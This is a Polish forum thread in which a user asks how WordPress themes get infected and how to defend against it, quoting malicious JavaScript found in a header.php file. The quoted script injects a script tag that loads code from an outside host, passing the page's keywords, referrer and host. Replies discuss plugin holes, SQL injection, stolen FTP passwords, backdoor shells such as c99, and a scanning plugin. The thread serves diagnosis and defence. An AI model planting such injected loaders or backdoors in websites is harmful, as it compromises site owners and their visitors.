[mariecziek]

W jaki sposób są infekowane motywy Wordpressa?
W pliku header.php znalazłem takie coś:

var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="[http://www.taylorparadise.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.taylorparadise.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function()](http://www.taylorparadise.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.taylorparadise.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function()){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}

Interesuje mnie w jaki sposób jest to tam jest umieszczane i jak się przed tym bronić.
Aha, strona nie jest moja. Po prostu interesuje mnie jak to działa :)

#php #webdev #webdevhelp #javascript #wordpress

[Jurigag]

@mariecziek: dziury w wordpressie/pluginach które pozwalają na modyfikowanie plików po stronie serwera czy ich uploadowanie, sqli i możliwość tworzenia plików z bazy danych, złamanie hasła admina i tutaj już w zasadzie można robić co się chce

[mariecziek]

@Jurigag: Czyli zmiana hasła admina + wywalenie skryptu z pliku niekoniecznie pomoże? Trzeba też sprawdzić bazę danych?

[Greg36]

@mariecziek: Albo jeśli ściągnąłeś płatny szablon gdzieś z sieci "za darmo" to spodziewaj się więcej takich kwiatków.

[mariecziek]

@Greg36: No zainfekowane są szablony takie jak twentyfourteen itd, czyli darmowe. Po prostu sam miałem problem z WP tylko 1 raz w życiu, ale wtedy jakoś nie zgłębiałem tematu.

[Jurigag]

@mariecziek: nie, bazy danych nie musisz sprawdzać, chodzi o to że odpowiednim zapytaniem do bazy danych możesz tworzyć pliki, ktoś pewnie na 99% zostawił sobie shella, także musiałbyś przejrzeć każdy plik .php osobiście polecam ten plugin do sprawdzenia wordpressa https://pl.wordpress.org/plugins/gotmls/ korzystałem wiele razy i sprawdza się bardzo dobrze

[mariecziek]

@Jurigag: Widzisz, strona stoi na hostingu a nie na VPS, więc do shella dostępu nie ma (no ja korzystając z ssh nie moge się podłączyć, mimo że znam hasło).
A za plugin dziękuję ( ͡° ͜ʖ ͡°)

[Jurigag]

@mariecziek: nie chodzi mi o taki shell, miałem na myśli backdoor shell - dzięki któremu uzyska ktoś dostęp do robienia wszystkiego co chce z plikami na public_html, gdzieś do jakiegoś skryptu wystarczy że ma dodany skrypt shella zobfuscowany i tyle https://en.wikipedia.org/wiki/Backdoor_Shell poza tym to że strona nie stoi na vps to nie znaczy że nie może wykonywać komend z shella takich jak cd, rm, chmod itp itd

[mariecziek]

@Jurigag: Hm… bardzo ciekawe. Będę musiał po pracy trochę więcej o tym poczytać. Dzięki za info ( ͡° ͜ʖ ͡°)

[f.....u]

@mariecziek: np. c99 shell

[morq]

@mariecziek: spotkałem się kiedyś z wirusem, który odczytywał zapisane hasła do FTP w total commanderze i filezilla i dopisywał złośliwy kod do wszystkich plików php/html na serwerze. Mimo, że pracownicy nigdy haseł jawnie nie trzymali, wystarczył jeden głupi freelancer, który trzymał hasła w filezilla i potem mieliśmy zainfekowanych kilkadziesiąt serwisów. Nie polecam ( ͡° ͜ʖ ͡°)

[mariecziek]

@morq: Widzisz, bezpieczeństwo tam kuleje i serwer jest zawalony masą stron, których nikt nie aktualizuje. Już miałem podobną sytuację, z tym że najpierw serwer zwolnił, a następnie otrzymałem ostrzeżenie z firmy hostingowej, że wyłączą serwer z powodu ataku ddos innych stron internetowych. Wtedy to naprawiłem wywalając różne śmieci.

Od tej pory minęły 3 lata i pewnie nikt nie zmieniał haseł na stronie i FTP oraz niw wywalał zbędnych stron, przez co

[TenebrosuS]

@Jurigag: jest jakaś strona, gdzie można zobaczyć, które wtyczki mogą posiadać jakieś backdoory?

[Jurigag]

@TenebrosuS: nie mam pojęcia, ja korzystam z tego i tyle - gotmls.net, działą to naprawdę nieźle i jak miałem jakieś problemy to potrafił to ogarnąć

[TenebrosuS]

@Jurigag: ja też to mam, ale dalej nie mogę wyśledzić, gdzie mam lukę.

[Jurigag]

@TenebrosuS: a przeskanowałeś całość ? XD

[TenebrosuS]

@Jurigag: tak